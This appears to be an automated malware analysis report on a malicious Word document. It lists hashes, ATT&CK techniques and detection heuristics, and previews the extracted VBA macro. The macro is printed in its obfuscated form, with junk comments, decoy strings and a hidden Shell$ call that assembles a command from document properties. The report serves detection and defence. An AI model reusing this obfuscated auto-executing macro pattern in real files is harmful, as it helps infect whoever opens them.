Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 75eb214657020fd9…

MALICIOUS

Office (OLE)

64.5 KB Created: 2017-09-26 06:26:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 85ea32ab88ca1c42d75dcde75dc9fb82 SHA-1: 2c5c7d7629dbb4e0ad8d9ad37657336fe5d43970 SHA-256: 75eb214657020fd9b6f2d533d3c12724cf1de2adbb925d7abfd744e6ff73633d
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers a 'Shell()' call, indicating an attempt to execute arbitrary commands. This is further supported by the ClamAV detection 'Doc.Macro.DollarShell-6346616-0', suggesting a known macro-based malware pattern. The primary IOC is the VBA macro file itself.

Heuristics 7

  • ClamAV: Doc.Macro.DollarShell-6346616-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DollarShell-6346616-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4474 bytes
SHA-256: 259be7dac9bcc0bfdcad2808d9fb30b410e1247e7d30808461bdf2ae81bd07fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
'ggpuHSsmXvNTbzzcvmCFFBPHHrANmmUEEdYSdbPkaFcEshXRSEXmntbXhYsygGur
 'eexUkNReFLsPpngMWKErPVGyKauYCFZWmZntthekBexAsbZHBRbkashzLXpxthRgE
 'NFSvCPVKXHAURSdyXDwTFXNbpbLARxKSsefUXkuGkhhgCsCAArMZttbcGLuEEr
 'hfRcRcmBZBehxnBcnvpdUzfDsYdhymWGfBScSLYfDZfRYgHXFeFVAdMWFTMFpxcScup
 'pRKWeMxbRwUdDFHTBctdYntzskceNSKfWarTUKLWHuAPpEhPftZgWHwLscfDNWt
 'PywppkWceSXvLnNWGfRhAwaKCAaNwuHStcCXGKwdDvkWDVnhwYZnEAhcYgFgUgBDy
 'VahGPNnEePTdRVhAmGvhkvsRhXZCphKrRumGnzmbmCekVXFpzumpFCvMMvRKhkyL
 'SZDuKTzzTdExCMaNyaVxeMNpABZMFDCacUVVxHEnAWzvpPuxageyecfpSyTzkNwg
 'HWBbsCpCXAbhwsTtfTHznGDfLPLFPtyPnDAskWvHFExzEBfWBwVkfWanKRARg
 'vSYxXvpRELbrtFpnxKawhPZVDzARfkwtcWHdFzhLUcNvDKWEzhHraeusaSpHxYa
 'szuwRRgKxveNuEnwzYYptWtNtKMDLAvREyGgmpcHWhCPuHESgVZHFugzyYuAfyYV
 'xbwHhNmPwvGVxcMuntncDCmnYDwBrNSwLVCbRbwKutGnnELkekScBzSShPxzm
 'EeaVhXCZesYWHHkDXnNGhUNGhDewRzdrhGCLYKUBMFhxLkCuXaLvKLHhTBPnZ
 'hrvuAdALVYFYLBvLMMFgSezEAkxApkFUDhBPtyhsZDMUnrdRsWDFTtkVhFeHhRT
 'hYLPyLRBhKwdUZbnTVMFEGHkGcyTVMfYfbZVcMsCaeWGdLsThBxgmvpbsbMKaxF
 'YdDKudfxepuaztxmNhzrwPMuuKUzMUZnWznRGpzBEmfeDypDYNKkRSXHHuvESU
 'ResuSgZUMtBXphcwACKXGhpDDRXBydhzXgbMEasvuLMarMdLaxBRUXMFpuAMHxAYBvu
 'CEapBLHpmxVEwmBnHxhNrmdVZgkSwtGyEgntaRgzHykaFngHbyChMrdFmsxUk
 'KXskLvzYRMGMewfuVGwKrEkmsunapLgVBWeBFmtYysUnBZTstEsCLYMZeSeKUD
 'tgWeBzNEzuXXzGKpxDPdkzBCWyLXTvMvhbpnZTYVuAcsfZaCmtmbvmCdZGmEd
 'gFnCHwdsVUfCUsnCtDEvrxgWtPfPFXMDvNabCdKsMnMCzPACnbCPEaPacKTkWCgWW
 'MpBnmuXxwrymVXbeGnzVzcBZVxayANDDAsktXGgaKFbpWpYRsMuCThLFyHRzcpv
 'CBXnbrXHWaxYUkfCgkySyHMVvdMhwecebkhkCBanKkAEBBdBXCuHXNrNryKH
 'FYmehDfygHrNyvepyGWkdPXCyUTfARwuHttvEePcNAKYNXMsVxkyKFKbtRvTzM
 'vBRGPuRPvrLmebHXmWxkmUbRxdZSgxrzraXwDGNVCKmYLNgxbThYeCHemuRC
 'YSWBZzvvsKbdbakBpMnFMFhXKydkNTCdYHTYUVNFNypWvykRAeLGCbhYGmNEtEBnDTf
 'TmAkEbuXDUpHUcxcnFMKSzXChPSmEFccNxGXryegLkhKMpGBfPfLuypEu
 'VNsPnAWVbwbzPvfAaHgBBuGXwcAgbUuFEDLRKrVnGcdtLxVXhfDDmphhWMDA
 'wfyhpMSeepNWCDZSLnXcaszuuSyWzaNssDkLtXmLwxtuEwSwutGvHseCPkUMLKVE

Function mrvPptfzkcV()
NeHygZcf = "gwNvHgBUsVg" + "HXHbMucS" + "XCZbcXF" + "LBDsxchSHYU" + "ggFtYPNcx" + XLwNvurGVN = "SNYbUPpu" + "SPuwLfFpeVd" + "cVYuUTMSNma" + "UDcKyEnukxw" + "DzhkfpK" + fUtGbwRhvzp = "VXLrPhvyu" + "eEeWzZLfyg" + "egPMeYRWPW" + "dapwRpwbt" + "hwGAwrh" + "TARGbANcSmy"
VBA.Shell$ ActiveDocument.CustomDocumentProperties("xuTFwxm") + mLfhvdzeB + cKepbhEHcrx + rmRSLWW + fMCMwaAfzDp + XCVYPHyvaN + ssuWBpeWM + MSeDtrmbs + VDGwWHW + crSxxxcKsm + ZPCKDwtrmXr + zhcgzLyVGA + dEeKLrtz + VzDmaHN + RTPWcKMN + ActiveDocument.CustomDocumentProperties("AyprZdY") + mLfhvdzeB + cKepbhEHcrx + rmRSLWW + fMCMwaAfzDp + XCVYPHyvaN + ssuWBpeWM + MSeDtrmbs + VDGwWHW + crSxxxcKsm + ZPCKDwtrmXr + zhcgzLyVGA + dEeKLrtz + VzDmaHN + RTPWcKMN + ActiveDocument.BuiltInDocumentProperties("Comments") + mLfhvdzeB + cKepbhEHcrx + rmRSLWW + fMCMwaAfzDp + XCVYPHyvaN + ssuWBpeWM + MSeDtrmbs + VDGwWHW + crSxxxcKsm + ZPCKDwtrmXr + zhcgzLyVGA + dEeKLrtz + VzDmaHN + RTPWcKMN + eSSYxcKGuAf, 0
yXrKGgaEc = "UALhGKV" + "xCbTVErdd" + "BGVhSHheDG" + "CPWrTLmTMFF" + "NUnLtTSwt" + uSBcdYbB = "NuBXLgP" + "HTENypg" + "FRzmCrZutK" + "PUnyghBaE" + "ezdLvfAppVk" + "PGwzRLMcVSw"
End Function
'NegvPdExzZwpcRHwNKWVtspNcSkyRYwgxEVXAedKtMZcThmKwFsXxhmgugvD
 'NvvzMAKNDkshVyVEbaRNGkMgFbDTZhsABAVEDzSgfWAzNsPEFseVCCzBpprUzuw
 'zyKuwzhewbfZKXeXTpsKTaVBdyDEsSGPeuDHBmGEPPTXRLdbnfrTxafTgtR
 'zBDPrbZtHFRUbHLYXvdTyMEpbbcwKMLafUPvCcpAFBHgAvvZxacuwXKLSLbRmSrP
 'PtTYbrehBpKEPfTZeYNkesVxYyaPVNvFhauABYknDztxDLKwVazGdzNCngHBvtEEtCS
 'dkhgSeUAZhawVpapvVWtwBCpdrNvPWpcnHLucSVvfAKGbVeDNmCkBpEYZMPgSXwRspt
 'DsCUpktRgVLFZvaGafcnVXARgbYukxPhRypkuEfXnmAxChdBAvFxREXfs
 'pALADbrzeSedneEtzVSWTUdHrWXsLTGxCMEMhpZBkNwbMtMhsmRLRgRRphNrVBZSKYMA
 'ZBeaerwrgfBzHnutZsdcYavpcHapTmgEKWBKWwsxPeYxncmnsUPnzuAvNSRavuP
 'YGhxfGgmdGfpSEZMugTcysLbkVCSvYGtkwkktNVvdCGAxVacLeXfrLvkNk
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.